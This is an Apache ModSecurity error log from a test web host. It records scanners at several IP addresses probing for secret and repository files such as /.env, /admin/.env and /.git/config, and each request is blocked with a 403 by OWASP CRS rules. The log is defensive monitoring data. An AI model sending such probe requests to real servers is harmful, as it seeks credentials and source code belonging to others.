[Sun May 11 16:49:16.013660 2025] [:error] [pid 3088569] [client 194.50.16.252:38298] [client 194.50.16.252] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aCC47DGjUcwY2rQyPUUW2gAAAAk"]
[Sun May 11 16:49:19.120573 2025] [:error] [pid 3076468] [client 194.50.16.252:38314] [client 194.50.16.252] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /forst-trento.test/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/forst-trento.test/.env"] [unique_id "aCC47-DNsPZeKZwk5t7EeAAAAAU"]
[Sun May 11 16:49:19.120830 2025] [:error] [pid 3076468] [client 194.50.16.252:38314] [client 194.50.16.252] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/forst-trento.test/.env"] [unique_id "aCC47-DNsPZeKZwk5t7EeAAAAAU"]
[Sun May 11 16:49:19.121538 2025] [:error] [pid 3076468] [client 194.50.16.252:38314] [client 194.50.16.252] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/forst-trento.test/.env"] [unique_id "aCC47-DNsPZeKZwk5t7EeAAAAAU"]
[Sun May 11 16:49:23.514425 2025] [:error] [pid 3076459] [client 194.50.16.252:38334] [client 194.50.16.252] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /indacotrentino/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/indacotrentino/.env"] [unique_id "aCC485w3RRRjd_Q1Vt_eVQAAAAA"]
[Sun May 11 16:49:23.514679 2025] [:error] [pid 3076459] [client 194.50.16.252:38334] [client 194.50.16.252] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/indacotrentino/.env"] [unique_id "aCC485w3RRRjd_Q1Vt_eVQAAAAA"]
[Sun May 11 16:49:23.514848 2025] [:error] [pid 3076459] [client 194.50.16.252:38334] [client 194.50.16.252] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/indacotrentino/.env"] [unique_id "aCC485w3RRRjd_Q1Vt_eVQAAAAA"]
[Mon May 12 03:56:14.470360 2025] [:error] [pid 3097877] [client 194.50.16.252:35646] [client 194.50.16.252] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aCFVPlqlkjQNqvNwOLAYVAAAAAU"]
[Mon May 12 03:56:14.470679 2025] [:error] [pid 3097877] [client 194.50.16.252:35646] [client 194.50.16.252] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aCFVPlqlkjQNqvNwOLAYVAAAAAU"]
[Mon May 12 03:56:14.470911 2025] [:error] [pid 3097877] [client 194.50.16.252:35646] [client 194.50.16.252] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aCFVPlqlkjQNqvNwOLAYVAAAAAU"]
[Mon May 12 03:56:16.133443 2025] [:error] [pid 3097872] [client 194.50.16.252:35176] [client 194.50.16.252] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /api/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.git/config"] [unique_id "aCFVQCzww_nKmGoY8MnIzAAAAAA"]
[Mon May 12 03:56:16.133705 2025] [:error] [pid 3097872] [client 194.50.16.252:35176] [client 194.50.16.252] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.git/config"] [unique_id "aCFVQCzww_nKmGoY8MnIzAAAAAA"]
[Mon May 12 03:56:16.133875 2025] [:error] [pid 3097872] [client 194.50.16.252:35176] [client 194.50.16.252] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.git/config"] [unique_id "aCFVQCzww_nKmGoY8MnIzAAAAAA"]
[Thu May 15 20:37:24.884702 2025] [authz_core:error] [pid 3179652] [client 165.227.84.14:57874] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Thu May 15 20:37:25.862064 2025] [:error] [pid 3179653] [client 165.227.84.14:57914] [client 165.227.84.14] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aCY0ZURoHzIl52I7U2j4PwAAAAo"]
[Thu May 15 20:37:25.862404 2025] [:error] [pid 3179653] [client 165.227.84.14:57914] [client 165.227.84.14] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aCY0ZURoHzIl52I7U2j4PwAAAAo"]
[Thu May 15 20:37:25.862607 2025] [:error] [pid 3179653] [client 165.227.84.14:57914] [client 165.227.84.14] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aCY0ZURoHzIl52I7U2j4PwAAAAo"]
[Thu May 15 20:37:26.152937 2025] [:error] [pid 3179612] [client 165.227.84.14:57918] [client 165.227.84.14] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aCY0Zqee6ulHaitbEr9eqQAAAAA"]
[Thu May 15 20:37:26.153235 2025] [:error] [pid 3179612] [client 165.227.84.14:57918] [client 165.227.84.14] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aCY0Zqee6ulHaitbEr9eqQAAAAA"]
[Thu May 15 20:37:26.153448 2025] [:error] [pid 3179612] [client 165.227.84.14:57918] [client 165.227.84.14] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aCY0Zqee6ulHaitbEr9eqQAAAAA"]
[Thu May 15 20:37:26.444894 2025] [:error] [pid 3179615] [client 165.227.84.14:57930] [client 165.227.84.14] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aCY0ZofOw0GNO4liTnFUEAAAAAM"]
[Thu May 15 20:37:26.445109 2025] [:error] [pid 3179615] [client 165.227.84.14:57930] [client 165.227.84.14] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aCY0ZofOw0GNO4liTnFUEAAAAAM"]
[Thu May 15 20:37:26.445264 2025] [:error] [pid 3179615] [client 165.227.84.14:57930] [client 165.227.84.14] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aCY0ZofOw0GNO4liTnFUEAAAAAM"]
[Fri May 16 12:48:03.735839 2025] [:error] [pid 3201094] [client 45.148.10.172:46898] [client 45.148.10.172] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aCcX42kFFL1dHKHYXszf6wAAAA0"]
[Fri May 16 12:48:03.737015 2025] [:error] [pid 3201094] [client 45.148.10.172:46898] [client 45.148.10.172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aCcX42kFFL1dHKHYXszf6wAAAA0"]
[Fri May 16 12:48:03.737186 2025] [:error] [pid 3201094] [client 45.148.10.172:46898] [client 45.148.10.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aCcX42kFFL1dHKHYXszf6wAAAA0"]
[Fri May 16 15:39:22.696668 2025] [:error] [pid 3201092] [client 154.83.103.115:53764] [client 154.83.103.115] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aCdACtWkyrueZRVkiu95KgAAAAs"]
[Fri May 16 15:39:22.696973 2025] [:error] [pid 3201092] [client 154.83.103.115:53764] [client 154.83.103.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aCdACtWkyrueZRVkiu95KgAAAAs"]
[Fri May 16 15:39:22.697149 2025] [:error] [pid 3201092] [client 154.83.103.115:53764] [client 154.83.103.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aCdACtWkyrueZRVkiu95KgAAAAs"]
[Fri May 16 17:34:53.649935 2025] [:error] [pid 3209388] [client 54.81.185.130:51190] [client 54.81.185.130] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aCdbHdqGafYQ-BpyW9uS9QAAAAE"]
[Fri May 16 17:34:53.650292 2025] [:error] [pid 3209388] [client 54.81.185.130:51190] [client 54.81.185.130] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aCdbHdqGafYQ-BpyW9uS9QAAAAE"]
[Fri May 16 17:34:53.650470 2025] [:error] [pid 3209388] [client 54.81.185.130:51190] [client 54.81.185.130] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aCdbHdqGafYQ-BpyW9uS9QAAAAE"]
[Fri May 16 18:01:04.065710 2025] [:error] [pid 3201094] [client 93.123.109.105:59726] [client 93.123.109.105] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aCdhQGkFFL1dHKHYXszgIwAAAA0"]
[Fri May 16 18:01:04.066156 2025] [:error] [pid 3201094] [client 93.123.109.105:59726] [client 93.123.109.105] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aCdhQGkFFL1dHKHYXszgIwAAAA0"]
[Fri May 16 18:01:04.066440 2025] [:error] [pid 3201094] [client 93.123.109.105:59726] [client 93.123.109.105] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aCdhQGkFFL1dHKHYXszgIwAAAA0"]
[Fri May 16 20:00:48.120019 2025] [:error] [pid 3201092] [client 45.144.212.129:48698] [client 45.144.212.129] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aCd9UNWkyrueZRVkiu95PAAAAAs"]
[Fri May 16 20:00:48.120346 2025] [:error] [pid 3201092] [client 45.144.212.129:48698] [client 45.144.212.129] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aCd9UNWkyrueZRVkiu95PAAAAAs"]
[Fri May 16 20:00:48.120531 2025] [:error] [pid 3201092] [client 45.144.212.129:48698] [client 45.144.212.129] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aCd9UNWkyrueZRVkiu95PAAAAAs"]
[Fri May 16 21:40:33.961080 2025] [:error] [pid 3209391] [client 45.144.212.129:35864] [client 45.144.212.129] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aCeUsRoHfzyhDlxo2U0AgwAAAAg"]
[Fri May 16 21:40:33.961386 2025] [:error] [pid 3209391] [client 45.144.212.129:35864] [client 45.144.212.129] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aCeUsRoHfzyhDlxo2U0AgwAAAAg"]
[Fri May 16 21:40:33.961563 2025] [:error] [pid 3209391] [client 45.144.212.129:35864] [client 45.144.212.129] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aCeUsRoHfzyhDlxo2U0AgwAAAAg"]
